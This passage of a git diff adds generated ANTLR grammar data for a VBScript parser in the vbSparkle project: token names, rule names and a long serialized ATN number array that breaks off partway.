5,30,0,0,671,673,5,14,0,0,672,667,1,0,0,0,672,668,1,0,0,0,672,669,1,0, + 0,0,672,670,1,0,0,0,672,671,1,0,0,0,673,69,1,0,0,0,674,675,8,3,0,0,675, + 71,1,0,0,0,117,75,81,85,90,94,101,106,111,114,121,126,129,134,138,143, + 147,152,156,161,167,171,175,180,183,188,200,206,211,217,221,225,233,239, + 242,248,252,258,262,274,279,285,290,299,304,310,315,320,325,331,336,342, + 348,353,356,364,369,374,380,385,388,396,400,405,410,412,418,427,436,440, + 444,448,453,463,467,471,476,480,486,491,499,503,507,509,513,517,522,526, + 531,535,540,544,549,553,558,562,567,571,576,580,585,589,594,598,603,607, + 612,616,621,625,630,634,639,643,656,658,665,672 + }; + + public static readonly ATN _ATN = + new ATNDeserializer().Deserialize(_serializedATN); + + +} diff --git a/Sources/vbSparkle/VBScript.interp b/Sources/vbSparkle/VBScript.interp new file mode 100644 index 0000000..afbcd3f --- /dev/null +++ b/Sources/vbSparkle/VBScript.interp @@ -0,0 +1,622 @@ +token literal names: +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +'&' +':=' +'@' +',' +null +'$' +'.' +'=' +'!' +'>=' +'>' +'#' +'<=' +'{' +'(' +'<' +'-' +'-=' +'*' +'<>' +'%' +'+' +'+=' +'^' +'}' +')' +';' +'[' +']' +null +null +null +null +null +null +null +null +null +null +null +':' +null +null +null + +token symbolic names: +null +ACCESS +ADDRESSOF +ALIAS +AND +ATTRIBUTE +APPACTIVATE +APPEND +AS +BEEP +BEGIN +BEGINPROPERTY +BINARY +BOOLEAN +BYVAL +BYREF +BYTE +CALL +CASE +CHDIR +CHDRIVE +CLASS +CLOSE +COLLECTION +CONST +DATE +PTRSAFE +DECLARE +DEFBOOL +DEFBYTE +DEFDATE +DEFDBL +DEFDEC +DEFCUR +DEFINT +DEFLNG +DEFOBJ +DEFSNG +DEFSTR +DEFVAR +DELETESETTING +DIM +DO +DOUBLE +EACH +ELSE +ELSEIF +END_ENUM +END_CLASS +END_FUNCTION +END_IF +END_PROPERTY +END_SELECT +END_SUB +END_TYPE +END_WITH +END +ENDPROPERTY +ENUM +EQV +ERASE +ERROR +EVENT +EXIT_DO +EXIT_FOR +EXIT_FUNCTION +EXIT_PROPERTY +EXIT_SUB +FALSE +FILECOPY +FRIEND +FOR +FUNCTION +GET +GLOBAL +GOSUB +GOTO +IF +IMP +IMPLEMENTS +IN +INPUT +IS +INTEGER +KILL +LOAD +LOCK +LONG +LOOP +LEN +LET +LIB +LIKE +LINE_INPUT +LOCK_READ +LOCK_WRITE +LOCK_READ_WRITE +LSET +MACRO_IF +MACRO_ELSEIF +MACRO_ELSE +MACRO_END_IF +ME +MID +MKDIR +MOD +NAME +NEXT +NEW +NOT +NOTHING +NULL +OBJECT +ON +ON_ERROR +ON_LOCAL_ERROR +OPEN +OPTIONAL +OPTION_BASE +OPTION_EXPLICIT +OPTION_COMPARE +OPTION_PRIVATE_MODULE +OR +OUTPUT +PARAMARRAY +PRESERVE +PRINT +PRIVATE +PROPERTY_GET +PROPERTY_LET +PROPERTY_SET +PUBLIC +PUT +RANDOM +RANDOMIZE +RAISEEVENT +READ +READ_WRITE +REDIM +REM +RESET +RESUME +RETURN +RMDIR +RSET +SAVEPICTURE +SAVESETTING +SEEK +SELECT +SENDKEYS +SET +SETATTR +SHARED +SINGLE +SPC +STATIC +DEFAULT +STEP +STOP +STRING +SUB +TAB +TEXT +THEN +TIME +TO +TRUE +TYPE +TYPEOF +UNLOAD +UNLOCK +UNTIL +VARIANT +VERSION +WEND +WHILE +WIDTH +WITH +WITHEVENTS +WRITE +XOR +AMPERSAND +ASSIGN +AT +COMMA +DIV +DOLLAR +DOT +EQ +EXCLAMATIONMARK +GEQ +GT +HASH +LEQ +LBRACE +LPAREN +LT +MINUS +MINUS_EQ +MULT +NEQ +PERCENT +PLUS +PLUS_EQ +POW +RBRACE +RPAREN +SEMICOLON +L_SQUARE_BRACKET +R_SQUARE_BRACKET +STRINGLITERAL +DATELITERAL +HEXLITERAL +INTEGERLITERAL +DOUBLELITERAL +FILENUMBER +OCTALLITERAL +GUID +IDENTIFIER +NEWLINE +INLINE_SEP +INLN +COMMENT +WS +LINE_CONTINUATION + +rule names: +startRule +module +moduleReferences +moduleReference +moduleReferenceValue +moduleReferenceComponent +moduleHeader +moduleConfig +moduleConfigElement +moduleAttributes +moduleOptions +moduleOption +moduleBody +moduleBodyElement +controlProperties +cp_Properties +cp_PropertyName +cp_PropertyValue +cp_NestedProperty +cp_ControlType +cp_ControlIdentifier +blockSwitch +block +moduleBlock +attributeStmt +lineLabel +inlineBlock +inlineBlockStmt +blockStmt +appActivateStmt +beepStmt +chDirStmt +chDriveStmt +closeStmt +constStmt +constSubStmt +dateStmt +declareStmt +deftypeStmt +deleteSettingStmt +doLoopStmt +endStmt +enumerationStmt +classStmt +enumerationStmt_Constant +eraseStmt +errorStmt +eventStmt +exitStmt +filecopyStmt +forEachStmt +forNextStmt +functionStmt +getStmt +goSubStmt +goToStmt +ifThenElseStmt +inlineIfThenElseStmt +inlineIfBlockStmt +inlineElseBlockStmt +ifBlockStmt +ifConditionStmt +ifElseIfBlockStmt +ifElseBlockStmt +implementsStmt +inputStmt +killStmt +midStmt +letStmt +lineInputStmt +loadStmt +lockStmt +lsetStmt +macroIfThenElseStmt +macroIfBlockStmt +macroElseIfBlockStmt +macroElseBlockStmt +mkdirStmt +nameStmt +onErrorStmt +onGoToStmt +onGoSubStmt +openStmt +outputList +outputList_Expression +printStmt +propertyGetStmt +propertySetStmt +propertyLetStmt +putStmt +raiseEventStmt +randomizeStmt +redimStmt +redimSubStmt +resetStmt +resumeStmt +returnStmt +rmdirStmt +rsetStmt +savepictureStmt +saveSettingStmt +seekStmt +selectCaseStmt +sC_Case +sC_Cond +sC_CondExpr +sendkeysStmt +setattrStmt +setStmt +stopStmt +subStmt +timeStmt +typeStmt +typeStmt_Element +typeOfStmt +unloadStmt +unlockStmt +valueStmt +variableStmt +variableListStmt +variableSubStmt +whileWendStmt +widthStmt +withStmt +writeStmt +explicitCallStmt +eCS_ProcedureCall +eCS_MemberProcedureCall +implicitCallStmt_InBlock +noParenthesisArgs +iCS_B_ProcedureCall +iCS_B_MemberProcedureCall +implicitCallStmt_InStmt +iCS_S_VariableOrProcedureCall +iCS_S_ProcedureOrArrayCall +iCS_S_NestedProcedureCall +iCS_S_MembersCall +iCS_S_MemberCall +iCS_S_DefaultMemberAccess +argsCall +argCall +defaultMemberAccess +argList +arg +argDefaultValue +subscripts +subscript +ambiguousIdentifier +asTypeClause +baseType +certainIdentifier +comparisonOperator +complexType +fieldLength +letterrange +delimitedLiteral +literal +publicPrivateVisibility +publicPrivateGlobalVisibility +type +typeHint +visibility +ambiguousKeyword + + +atn: +[4, 1, 224, 3114, 2, 0, 7, 0, 2, 1, 7, 1, 2, 2, 7, 2, 2, 3, 7, 3, 2, 4, 7, 4, 2, 5, 7, 5, 2, 6, 7, 6, 2, 7, 7, 7, 2, 8, 7, 8, 2, 9, 7, 9, 2, 10, 7, 10, 2, 11, 7, 11, 2, 12, 7, 12, 2, 13, 7, 13, 2, 14, 7, 14, 2, 15, 7, 15, 2, 16, 7, 16, 2, 17, 7, 17, 2, 18, 7, 18, 2, 19, 7, 19, 2, 20, 7, 20, 2, 21, 7, 21, 2, 22, 7, 22, 2, 23, 7, 23, 2, 24, 7, 24, 2, 25, 7, 25, 2, 26, 7, 26, 2, 27, 7, 27, 2, 28, 7, 28, 2, 29, 7, 29, 2, 30, 7, 30, 2, 31, 7, 31, 2, 32, 7, 32, 2, 33, 7, 33, 2, 34, 7, 34, 2, 35, 7, 35, 2, 36, 7, 36, 2, 37, 7, 37, 2, 38, 7, 38, 2, 39, 7, 39, 2, 40, 7, 40, 2, 41, 7, 41, 2, 42, 7, 42, 2, 43, 7, 43, 2, 44, 7, 44, 2, 45, 7, 45, 2, 46, 7, 46, 2, 47, 7, 47, 2, 48, 7, 48, 2, 49, 7, 49, 2, 50, 7, 50, 2, 51, 7, 51, 2, 52, 7, 52, 2, 53, 7, 53, 2, 54, 7, 54, 2, 55, 7, 55, 2, 56, 7, 56, 2, 57, 7, 57, 2, 58, 7, 58, 2, 59, 7, 59, 2, 60, 7, 60, 2, 61, 7, 61, 2, 62, 7, 62, 2, 63, 7, 63, 2, 64, 7, 64, 2, 65, 7, 65, 2, 66, 7, 66, 2, 67, 7, 67, 2, 68, 7, 68, 2, 69, 7, 69, 2, 70, 7, 70, 2, 71, 7, 71, 2, 72, 7, 72, 2, 73, 7, 73, 2, 74, 7, 74, 2, 75, 7, 75, 2, 76, 7, 76, 2, 77, 7, 77, 2, 78, 7, 78, 2, 79, 7, 79, 2, 80, 7, 80, 2, 81, 7, 81, 2, 82, 7, 82, 2, 83, 7, 83, 2, 84, 7, 84, 2, 85, 7, 85, 2, 86, 7, 86, 2, 87, 7, 87, 2, 88, 7, 88, 2, 89, 7, 89, 2, 90, 7, 90, 2, 91, 7, 91, 2, 92, 7, 92, 2, 93, 7, 93, 2, 94, 7, 94, 2, 95, 7, 95, 2, 96, 7, 96, 2, 97, 7, 97, 2, 98, 7, 98, 2, 99, 7, 99, 2, 100, 7, 100, 2, 101, 7, 101, 2, 102, 7, 102, 2, 103, 7, 103, 2, 104, 7, 104, 2, 105, 7, 105, 2, 106, 7, 106, 2, 107, 7, 107, 2, 108, 7, 108, 2, 109, 7, 109, 2, 110, 7, 110, 2, 111, 7, 111, 2, 112, 7, 112, 2, 113, 7, 113, 2, 114, 7, 114, 2, 115, 7, 115, 2, 116, 7, 116, 2, 117, 7, 117, 2, 118, 7, 118, 2, 119, 7, 119, 2, 120, 7, 120, 2, 121, 7, 121, 2, 122, 7, 122, 2, 123, 7, 123, 2, 124, 7, 124, 2, 125, 7, 125, 2, 126, 7, 126, 2, 127, 7, 127, 2, 128, 7, 128, 2, 129, 7, 129, 2, 130, 7, 130, 2, 131, 7, 131, 2, 132, 7, 132, 2, 133, 7, 133, 2, 134, 7, 134, 2, 135, 7, 135, 2, 136, 7, 136, 2, 137, 7, 137, 2, 138, 7, 138, 2, 139, 7, 139, 2, 140, 7, 140, 2, 141, 7, 141, 2, 142, 7, 142, 2, 143, 7, 143, 2, 144, 7, 144, 2, 145, 7, 145, 2, 146, 7, 146, 2, 147, 7, 147, 2, 148, 7, 148, 2, 149, 7, 149, 2, 150, 7, 150, 2, 151, 7, 151, 2, 152, 7, 152, 2, 153, 7, 153, 2, 154, 7, 154, 2, 155, 7, 155, 2, 156, 7, 156, 2, 157, 7, 157, 2, 158, 7, 158, 2, 159, 7, 159, 2, 160, 7, 160, 2, 161, 7, 161, 2, 162, 7, 162, 1, 0, 1, 0, 1, 0, 1, 1, 3, 1, 331, 8, 1, 1, 1, 5, 1, 334, 8, 1, 10, 1, 12, 1, 337, 9, 1, 1, 1, 1, 1, 4, 1, 341, 8, 1, 11, 1, 12, 1, 342, 3, 1, 345, 8, 1, 1, 1, 3, 1, 348, 8, 1, 1, 1, 5, 1, 351, 8, 1, 10, 1, 12, 1, 354, 9, 1, 1, 1, 3, 1, 357, 8, 1, 1, 1, 5, 1, 360, 8, 1, 10, 1, 12, 1, 363, 9, 1, 1, 1, 3, 1, 366, 8, 1, 1, 1, 5, 1, 369, 8, 1, 10, 1, 12, 1, 372, 9, 1, 1, 1, 3, 1, 375, 8, 1, 1, 1, 5, 1, 378, 8, 1, 10, 1, 12, 1, 381, 9, 1, 1, 1, 3, 1, 384, 8, 1, 1, 1, 5, 1, 387, 8, 1, 10, 1, 12, 1, 390, 9, 1, 1, 1, 3, 1, 393, 8, 1, 1, 1, 5, 1, 396, 8, 1, 10, 1, 12, 1, 399, 9, 1, 1, 1, 3, 1, 402, 8, 1, 1, 2, 4, 2, 405, 8, 2, 11, 2, 12, 2, 406, 1, 3, 1, 3, 3, 3, 411, 8, 3, 1, 3, 1, 3, 3, 3, 415, 8, 3, 1, 3, 1, 3, 1, 3, 3, 3, 420, 8, 3, 1, 3, 3, 3, 423, 8, 3, 1, 3, 5, 3, 426, 8, 3, 10, 3, 12, 3, 429, 9, 3, 1, 4, 1, 4, 1, 5, 1, 5, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 3, 6, 440, 8, 6, 1, 7, 1, 7, 4, 7, 444, 8, 7, 11, 7, 12, 7, 445, 1, 7, 4, 7, 449, 8, 7, 11, 7, 12, 7, 450, 1, 7, 1, 7, 4, 7, 455, 8, 7, 11, 7, 12, 7, 456, 1, 8, 1, 8, 3, 8, 461, 8, 8, 1, 8, 1, 8, 3, 8, 465, 8, 8, 1, 8, 1, 8, 1, 8, 1, 9, 1, 9, 4, 9, 472, 8, 9, 11, 9, 12, 9, 473, 4, 9, 476, 8, 9, 11, 9, 12, 9, 477, 1, 10, 1, 10, 4, 10, 482, 8, 10, 11, 10, 12, 10, 483, 4, 10, 486, 8, 10, 11, 10, 12, 10, 487, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 3, 11, 498, 8, 11, 1, 12, 1, 12, 3, 12, 502, 8, 12, 1, 12, 4, 12, 505, 8, 12, 11, 12, 12, 12, 506, 1, 12, 4, 12, 510, 8, 12, 11, 12, 12, 12, 511, 3, 12, 514, 8, 12, 1, 12, 3, 12, 517, 8, 12, 1, 12, 5, 12, 520, 8, 12, 10, 12, 12, 12, 523, 9, 12, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 3, 13, 537, 8, 13, 1, 14, 3, 14, 540, 8, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 3, 14, 548, 8, 14, 1, 14, 4, 14, 551, 8, 14, 11, 14, 12, 14, 552, 1, 14, 4, 14, 556, 8, 14, 11, 14, 12, 14, 557, 1, 14, 1, 14, 5, 14, 562, 8, 14, 10, 14, 12, 14, 565, 9, 14, 1, 15, 1, 15, 3, 15, 569, 8, 15, 1, 16, 1, 16, 3, 16, 573, 8, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 3, 16, 580, 8, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 3, 16, 588, 8, 16, 5, 16, 590, 8, 16, 10, 16, 12, 16, 593, 9, 16, 1, 17, 3, 17, 596, 8, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 3, 17, 605, 8, 17, 1, 18, 3, 18, 608, 8, 18, 1, 18, 1, 18, 1, 18, 1, 18, 1, 18, 1, 18, 3, 18, 616, 8, 18, 1, 18, 1, 18, 3, 18, 620, 8, 18, 1, 18, 4, 18, 623, 8, 18, 11, 18, 12, 18, 624, 1, 18, 4, 18, 628, 8, 18, 11, 18, 12, 18, 629, 3, 18, 632, 8, 18, 1, 18, 1, 18, 4, 18, 636, 8, 18, 11, 18, 12, 18, 637, 1, 19, 1, 19, 1, 20, 1, 20, 1, 21, 1, 21, 3, 21, 646, 8, 21, 1, 21, 1, 21, 3, 21, 650, 8, 21, 3, 21, 652, 8, 21, 1, 22, 1, 22, 4, 22, 656, 8, 22, 11, 22, 12, 22, 657, 1, 22, 3, 22, 661, 8, 22, 1, 22, 5, 22, 664, 8, 22, 10, 22, 12, 22, 667, 9, 22, 1, 23, 1, 23, 1, 24, 1, 24, 1, 24, 1, 24, 3, 24, 675, 8, 24, 1, 24, 1, 24, 3, 24, 679, 8, 24, 1, 24, 1, 24, 3, 24, 683, 8, 24, 1, 24, 1, 24, 3, 24, 687, 8, 24, 1, 24, 5, 24, 690, 8, 24, 10, 24, 12, 24, 693, 9, 24, 1, 25, 1, 25, 3, 25, 697, 8, 25, 1, 25, 1, 25, 3, 25, 701, 8, 25, 1, 26, 1, 26, 3, 26, 705, 8, 26, 1, 26, 1, 26, 1, 26, 4, 26, 710, 8, 26, 11, 26, 12, 26, 711, 1, 26, 3, 26, 715, 8, 26, 3, 26, 717, 8, 26, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 3, 27, 786, 8, 27, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 3, 28, 856, 8, 28, 1, 29, 1, 29, 1, 29, 1, 29, 3, 29, 862, 8, 29, 1, 29, 1, 29, 3, 29, 866, 8, 29, 1, 29, 3, 29, 869, 8, 29, 1, 30, 1, 30, 1, 31, 1, 31, 1, 31, 1, 31, 1, 32, 1, 32, 1, 32, 1, 32, 1, 33, 1, 33, 1, 33, 1, 33, 3, 33, 885, 8, 33, 1, 33, 1, 33, 3, 33, 889, 8, 33, 1, 33, 5, 33, 892, 8, 33, 10, 33, 12, 33, 895, 9, 33, 3, 33, 897, 8, 33, 1, 34, 1, 34, 1, 34, 3, 34, 902, 8, 34, 1, 34, 1, 34, 1, 34, 1, 34, 3, 34, 908, 8, 34, 1, 34, 1, 34, 3, 34, 912, 8, 34, 1, 34, 5, 34, 915, 8, 34, 10, 34, 12, 34, 918, 9, 34, 1, 35, 1, 35, 3, 35, 922, 8, 35, 1, 35, 1, 35, 3, 35, 926, 8, 35, 1, 35, 3, 35, 929, 8, 35, 1, 35, 1, 35, 3, 35, 933, 8, 35, 1, 35, 1, 35, 1, 36, 1, 36, 3, 36, 939, 8, 36, 1, 36, 1, 36, 3, 36, 943, 8, 36, 1, 36, 1, 36, 1, 37, 1, 37, 1, 37, 3, 37, 950, 8, 37, 1, 37, 1, 37, 1, 37, 1, 37, 3, 37, 956, 8, 37, 1, 37, 1, 37, 3, 37, 960, 8, 37, 1, 37, 3, 37, 963, 8, 37, 1, 37, 1, 37, 1, 37, 3, 37, 968, 8, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 3, 37, 978, 8, 37, 1, 37, 3, 37, 981, 8, 37, 1, 37, 3, 37, 984, 8, 37, 1, 37, 1, 37, 3, 37, 988, 8, 37, 1, 38, 1, 38, 1, 38, 1, 38, 3, 38, 994, 8, 38, 1, 38, 1, 38, 3, 38, 998, 8, 38, 1, 38, 5, 38, 1001, 8, 38, 10, 38, 12, 38, 1004, 9, 38, 1, 39, 1, 39, 1, 39, 1, 39, 3, 39, 1010, 8, 39, 1, 39, 1, 39, 3, 39, 1014, 8, 39, 1, 39, 1, 39, 3, 39, 1018, 8, 39, 1, 39, 1, 39, 3, 39, 1022, 8, 39, 1, 39, 3, 39, 1025, 8, 39, 1, 40, 1, 40, 4, 40, 1029, 8, 40, 11, 40, 12, 40, 1030, 1, 40, 1, 40, 4, 40, 1035, 8, 40, 11, 40, 12, 40, 1036, 3, 40, 1039, 8, 40, 1, 40, 1, 40, 1, 40, 1, 40, 1, 40, 3, 40, 1046, 8, 40, 1, 40, 1, 40, 4, 40, 1050, 8, 40, 11, 40, 12, 40, 1051, 1, 40, 1, 40, 4, 40, 1056, 8, 40, 11, 40, 12, 40, 1057, 3, 40, 1060, 8, 40, 1, 40, 1, 40, 1, 40, 1, 40, 4, 40, 1066, 8, 40, 11, 40, 12, 40, 1067, 1, 40, 1, 40, 4, 40, 1072, 8, 40, 11, 40, 12, 40, 1073, 1, 40, 1, 40, 1, 40, 1, 40, 3, 40, 1080, 8, 40, 1, 40, 1, 40, 3, 40, 1084, 8, 40, 1, 41, 1, 41, 1, 42, 1, 42, 1, 42, 3, 42, 1091, 8, 42, 1, 42, 1, 42, 1, 42, 1, 42, 4, 42, 1097, 8, 42, 11, 42, 12, 42, 1098, 1, 42, 5, 42, 1102, 8, 42, 10, 42, 12, 42, 1105, 9, 42, 1, 42, 1, 42, 1, 43, 1, 43, 1, 43, 3, 43, 1112, 8, 43, 1, 43, 1, 43, 1, 43, 1, 43, 4, 43, 1118, 8, 43, 11, 43, 12, 43, 1119, 1, 43, 1, 43, 4, 43, 1124, 8, 43, 11, 43, 12, 43, 1125, 3, 43, 1128, 8, 43, 1, 43, 1, 43, 1, 44, 1, 44, 3, 44, 1134, 8, 44, 1, 44, 1, 44, 3, 44, 1138, 8, 44, 1, 44, 3, 44, 1141, 8, 44, 1, 44, 4, 44, 1144, 8, 44, 11, 44, 12, 44, 1145, 1, 45, 1, 45, 1, 45, 1, 45, 3, 45, 1152, 8, 45, 1, 45, 1, 45, 3, 45, 1156, 8, 45, 1, 45, 5, 45, 1159, 8, 45, 10, 45, 12, 45, 1162, 9, 45, 1, 46, 1, 46, 1, 46, 1, 46, 1, 47, 1, 47, 1, 47, 3, 47, 1171, 8, 47, 1, 47, 1, 47, 1, 47, 1, 47, 3, 47, 1177, 8, 47, 1, 47, 1, 47, 1, 48, 1, 48, 1, 49, 1, 49, 1, 49, 1, 49, 3, 49, 1187, 8, 49, 1, 49, 1, 49, 3, 49, 1191, 8, 49, 1, 49, 1, 49, 1, 50, 1, 50, 1, 50, 1, 50, 3, 50, 1199, 8, 50, 1, 50, 1, 50, 3, 50, 1203, 8, 50, 1, 50, 3, 50, 1206, 8, 50, 1, 50, 1, 50, 3, 50, 1210, 8, 50, 1, 50, 1, 50, 4, 50, 1214, 8, 50, 11, 50, 12, 50, 1215, 1, 50, 1, 50, 4, 50, 1220, 8, 50, 11, 50, 12, 50, 1221, 3, 50, 1224, 8, 50, 1, 50, 1, 50, 3, 50, 1228, 8, 50, 1, 50, 3, 50, 1231, 8, 50, 1, 51, 1, 51, 1, 51, 1, 51, 3, 51, 1237, 8, 51, 1, 51, 1, 51, 3, 51, 1241, 8, 51, 1, 51, 3, 51, 1244, 8, 51, 1, 51, 1, 51, 3, 51, 1248, 8, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 3, 51, 1256, 8, 51, 1, 51, 1, 51, 1, 51, 3, 51, 1261, 8, 51, 1, 51, 4, 51, 1264, 8, 51, 11, 51, 12, 51, 1265, 1, 51, 1, 51, 4, 51, 1270, 8, 51, 11, 51, 12, 51, 1271, 3, 51, 1274, 8, 51, 1, 51, 1, 51, 1, 51, 1, 51, 3, 51, 1280, 8, 51, 3, 51, 1282, 8, 51, 1, 52, 1, 52, 1, 52, 3, 52, 1287, 8, 52, 1, 52, 1, 52, 3, 52, 1291, 8, 52, 1, 52, 1, 52, 3, 52, 1295, 8, 52, 1, 52, 1, 52, 1, 52, 1, 52, 3, 52, 1301, 8, 52, 1, 52, 3, 52, 1304, 8, 52, 1, 52, 1, 52, 3, 52, 1308, 8, 52, 1, 52, 3, 52, 1311, 8, 52, 1, 52, 4, 52, 1314, 8, 52, 11, 52, 12, 52, 1315, 1, 52, 3, 52, 1319, 8, 52, 1, 52, 1, 52, 5, 52, 1323, 8, 52, 10, 52, 12, 52, 1326, 9, 52, 1, 52, 4, 52, 1329, 8, 52, 11, 52, 12, 52, 1330, 3, 52, 1333, 8, 52, 1, 52, 5, 52, 1336, 8, 52, 10, 52, 12, 52, 1339, 9, 52, 1, 52, 1, 52, 1, 53, 1, 53, 1, 53, 1, 53, 3, 53, 1347, 8, 53, 1, 53, 1, 53, 3, 53, 1351, 8, 53, 1, 53, 3, 53, 1354, 8, 53, 1, 53, 3, 53, 1357, 8, 53, 1, 53, 1, 53, 3, 53, 1361, 8, 53, 1, 53, 1, 53, 1, 54, 1, 54, 1, 54, 1, 54, 1, 55, 1, 55, 1, 55, 1, 55, 1, 56, 1, 56, 5, 56, 1375, 8, 56, 10, 56, 12, 56, 1378, 9, 56, 1, 56, 3, 56, 1381, 8, 56, 1, 56, 1, 56, 1, 57, 1, 57, 3, 57, 1387, 8, 57, 1, 57, 5, 57, 1390, 8, 57, 10, 57, 12, 57, 1393, 9, 57, 1, 57, 3, 57, 1396, 8, 57, 1, 58, 1, 58, 3, 58, 1400, 8, 58, 1, 58, 1, 58, 3, 58, 1404, 8, 58, 1, 58, 1, 58, 4, 58, 1408, 8, 58, 11, 58, 12, 58, 1409, 1, 58, 1, 58, 1, 59, 3, 59, 1415, 8, 59, 1, 59, 1, 59, 1, 59, 1, 59, 1, 60, 1, 60, 3, 60, 1423, 8, 60, 1, 60, 1, 60, 3, 60, 1427, 8, 60, 1, 60, 1, 60, 4, 60, 1431, 8, 60, 11, 60, 12, 60, 1432, 1, 60, 1, 60, 4, 60, 1437, 8, 60, 11, 60, 12, 60, 1438, 3, 60, 1441, 8, 60, 1, 61, 1, 61, 1, 62, 1, 62, 1, 62, 1, 62, 1, 62, 1, 62, 4, 62, 1451, 8, 62, 11, 62, 12, 62, 1452, 1, 62, 1, 62, 4, 62, 1457, 8, 62, 11, 62, 12, 62, 1458, 3, 62, 1461, 8, 62, 1, 63, 1, 63, 4, 63, 1465, 8, 63, 11, 63, 12, 63, 1466, 1, 63, 1, 63, 4, 63, 1471, 8, 63, 11, 63, 12, 63, 1472, 3, 63, 1475, 8, 63, 1, 64, 1, 64, 1, 64, 1, 64, 1, 65, 1, 65, 1, 65, 1, 65, 3, 65, 1485, 8, 65, 1, 65, 1, 65, 3, 65, 1489, 8, 65, 1, 65, 4, 65, 1492, 8, 65, 11, 65, 12, 65, 1493, 1, 66, 1, 66, 1, 66, 1, 66, 1, 67, 1, 67, 3, 67, 1502, 8, 67, 1, 67, 1, 67, 3, 67, 1506, 8, 67, 1, 67, 1, 67, 3, 67, 1510, 8, 67, 1, 67, 1, 67, 3, 67, 1514, 8, 67, 1, 67, 1, 67, 3, 67, 1518, 8, 67, 1, 67, 1, 67, 3, 67, 1522, 8, 67, 1, 67, 1, 67, 3, 67, 1526, 8, 67, 1, 67, 1, 67, 3, 67, 1530, 8, 67, 1, 67, 3, 67, 1533, 8, 67, 1, 67, 3, 67, 1536, 8, 67, 1, 67, 1, 67, 3, 67, 1540, 8, 67, 1, 67, 1, 67, 3, 67, 1544, 8, 67, 1, 67, 1, 67, 1, 68, 1, 68, 3, 68, 1550, 8, 68, 1, 68, 1, 68, 3, 68, 1554, 8, 68, 1, 68, 1, 68, 3, 68, 1558, 8, 68, 1, 68, 1, 68, 1, 69, 1, 69, 1, 69, 1, 69, 3, 69, 1566, 8, 69, 1, 69, 1, 69, 3, 69, 1570, 8, 69, 1, 69, 1, 69, 1, 70, 1, 70, 1, 70, 1, 70, 1, 71, 1, 71, 1, 71, 1, 71, 3, 71, 1582, 8, 71, 1, 71, 1, 71, 3, 71, 1586, 8, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 3, 71, 1593, 8, 71, 3, 71, 1595, 8, 71, 1, 72, 1, 72, 1, 72, 1, 72, 3, 72, 1601, 8, 72, 1, 72, 1, 72, 3, 72, 1605, 8, 72, 1, 72, 1, 72, 1, 73, 1, 73, 5, 73, 1611, 8, 73, 10, 73, 12, 73, 1614, 9, 73, 1, 73, 3, 73, 1617, 8, 73, 1, 73, 1, 73, 1, 74, 1, 74, 1, 74, 1, 74, 1, 74, 1, 74, 4, 74, 1627, 8, 74, 11, 74, 12, 74, 1628, 1, 74, 1, 74, 4, 74, 1633, 8, 74, 11, 74, 12, 74, 1634, 3, 74, 1637, 8, 74, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 4, 75, 1645, 8, 75, 11, 75, 12, 75, 1646, 1, 75, 1, 75, 4, 75, 1651, 8, 75, 11, 75, 12, 75, 1652, 3, 75, 1655, 8, 75, 1, 76, 1, 76, 4, 76, 1659, 8, 76, 11, 76, 12, 76, 1660, 1, 76, 1, 76, 4, 76, 1665, 8, 76, 11, 76, 12, 76, 1666, 3, 76, 1669, 8, 76, 1, 77, 1, 77, 1, 77, 1, 77, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 79, 1, 79, 1, 79, 1, 79, 1, 79, 1, 79, 1, 